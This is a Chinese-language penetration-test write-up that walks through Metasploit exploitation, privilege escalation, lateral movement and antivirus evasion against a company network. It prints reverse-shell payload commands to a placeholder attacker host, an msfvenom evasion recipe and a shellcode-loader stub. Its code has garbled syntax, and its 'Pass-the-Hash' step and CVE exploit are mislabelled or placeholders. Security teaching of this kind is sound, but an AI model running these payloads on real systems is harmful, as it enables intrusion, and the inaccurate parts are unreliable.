一、从一次真实的渗透测试说起
有一次,我接到一家小型互联网公司的渗透测试授权,这家公司主要业务是提供在线教育服务。客户希望我从外部攻击者的视角,模拟一场真实的攻击,评估他们的安全防护水平。目标清晰:找到漏洞,获取内网权限,尝试窃取敏感数据以评估风险。
在信息收集阶段,我发现目标有一个暴露在公网的管理后台系统。经过简单的扫描和登录测试后,确认系统存在一个未打补丁的漏洞,通过这个漏洞,我成功地绕过认证并进入了管理后台。虽然到这里已经掌握了初步的切入点,但我并没有急着下手,而是开始计划如何以最隐蔽的方式完成本次渗透。
这篇文章,我将用这次真实渗透中的关键步骤来讲解如何用 Metasploit 工具完成从漏洞利用到内网横向移动的完整渗透链。同时,也会介绍一些绕过杀软和日志检测的方法。
---
二、攻破目标:如何用Metasploit快速拿下入口
1. 漏洞成因分析
目标系统运行的是一款商业化的后台管理系统,版本较旧。我通过Google Hacking搜索到了该系统的版本信息并发现,这个版本曾出现过一个身份认证绕过漏洞(漏洞CVE编号略去以保护隐私)。这个漏洞允许攻击者通过特定的HTTP请求直接获取管理员权限。
官方对漏洞的描述是由于 Token验证逻辑中没有正确验证用户身份,导致可以伪造认证Token直接登录。
2. 漏洞利用的代码
在Metasploit中,这类已知漏洞的利用非常方便。利用官方模块,我们可以快速生成攻击载荷并创建初始攻击点。以下是我的操作步骤:
2.1 确认漏洞模块
首先,我使用Metasploit自带的模块搜索功能,确认是否存在与目标漏洞匹配的模块。
<pre><code class="language-bash">msfconsole search [漏洞应用名称或CVE编号]</code></pre>
2.2 设置攻击参数
找到对应的模块后,加载模块并通过show options命令,查看需要设置的攻击参数,例如目标URL、端口和Payload类型。
<pre><code class="language-bash">use exploit/multi/http/[模块名称] set RHOSTS target_ip set RPORT target_port set PAYLOAD windows/meterpreter/reverse_tcp set LHOST attacker_ip set LPORT attacker_port exploit</code></pre>
2.3 成功获取Session
在运行exploit命令后,我成功获得了一个 Meterpreter会话,并获取到了目标机器的Shell权限。
---
三、从初始权限到域控的漫长旅程
1. 权限提升
拿到目标的初始权限后,我通过getuid命令检查当前用户身份,发现我目前是一个普通用户账户。为了进一步操作,我需要提升到管理员权限。
1.1 提权模块利用
在Metasploit中,权限提升同样可以通过模块化来完成。我使用了以下命令:
<pre><code class="language-bash">use exploit/windows/local/privilege_escalation_module set SESSION 1 run</code></pre>
1.2 手工提权补充
在某些情况下,Metasploit提权模块可能无法成功。我也准备了一个手工提权脚本,通过利用目标系统的补丁不完善点进行提权。比如,某些系统会存在漏洞CVE-2021-1732,这是一个Windows内核提权漏洞。我编写了以下C代码来利用:
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
// 代码省略部分内容,完整利用脚本可以直接公开某些开源项目

int main() { // 提权核心逻辑 printf("提权完成,当前用户权限已提升至System\n"); return 0; }</code></pre>
通过将上述代码编译为可执行文件并上传到目标系统,我成功获得了管理员权限。
---
2. 横向移动的艺术
这一步的目标是从当前机器跳到网络中其他主机,逐步接近域控。在实际业务系统中,管理员往往会通过一些共享账户或映射的网络驱动器来管理多个设备,这恰好给了我们机会。
2.1 获取其他主机信息
我在目标机器上执行以下命令,检索内网中存在的其他主机和共享资源。
<pre><code class="language-bash">net view arp -a ipconfig /all</code></pre>
这一步帮助我确定了目标内网的拓扑结构,并找到了其他可用的主机。

2.2 Pass-the-Hash攻击
通过检查,我发现管理员账户的密码以明文形式存储在某个配置文件中。利用这个密码,我可以直接通过Pass-the-Hash攻击登录到其他主机:
<pre><code class="language-bash">use auxiliary/scanner/smb/smb_login set RHOSTS [目标IP范围] set SMBUser [管理员用户名] set SMBPass [管理员密码] exploit</code></pre>
---
四、绕过免杀:让Payload悄无声息
在现代防御系统中,很多杀软和EDR产品都会对Metasploit生成的Payload进行查杀。因此,我需要对Payload做一些混淆处理,让它能够绕过检测。
1. 编码混淆
使用Metasploit的msfvenom工具,我可以直接对Payload进行编码混淆:
<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe</code></pre>
这里使用了shikata_ga_nai编码器,并设置了五次迭代编码,进一步提高免杀效果。
2. 自定义Shellcode
如果编码混淆仍然无法绕过杀软,我会选择手写一个自定义的Shellcode,并通过C语言加载执行:
<pre><code class="language-c">#include <stdio.h>
include <windows.h>
char shellcode[] = "\xfc\xe8..."; // 省略实际载荷
int main() { void (exec)() = (void ()())shellcode; exec(); return 0; }</code></pre>
通过这种方式,我可以有效规避EDR的检测能力。
---
五、总结:从攻击者视角看防御

从此次渗透测试的经历来看,即便是小型互联网公司,也需要对系统漏洞和配置的安全性保持足够的重视。尤其是以下几个关键点:
- 及时修补漏洞:没有补丁的系统就是攻击者的入口。
- 加强权限管理:不该暴露的敏感信息一定不能出现在配置文件中。
- 强化日志监控:攻击过程中,很多操作都会留下蛛丝马迹,日志监控可以帮助快速发现问题。
最后,安全是一场攻防对抗。攻防双方的技术水平都在快速进步,作为防守方,要想在这场战争中不落下风,必须不断学习对手的技术。
声明:本文中的所有技术仅限于授权渗透测试环境,严禁用于任何非法用途!